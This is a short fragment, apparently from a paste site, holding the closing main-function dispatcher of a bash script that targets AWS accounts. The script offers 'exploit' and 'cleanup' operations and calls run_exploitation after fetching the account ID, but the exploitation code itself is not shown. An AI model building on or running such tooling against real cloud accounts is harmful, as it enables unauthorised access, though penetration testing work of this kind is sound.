- if [ -z "$OPERATION" ]; then
- log ERROR "Operation is required"
- usage
- exit 1
- fi
- if [ "$OPERATION" != "exploit" ] && [ "$OPERATION" != "cleanup" ]; then
- log ERROR "Invalid operation: $OPERATION"
- usage
- exit 1
- fi
- # Check dependencies
- check_dependencies
- # Get AWS account info
- get_account_id
- # Execute operation
- case $OPERATION in
- exploit)
- if [ "$DRY_RUN" = true ]; then
- log WARNING "DRY RUN MODE - No changes will be made"
- fi
- run_exploitation
- ;;
- cleanup)
- cleanup_all
- ;;
- esac
- log INFO "Operation completed. Review ${LOG_FILE} for details."
- }
- # Run main function
- main "$@"
Add Comment
Please, Sign In to add comment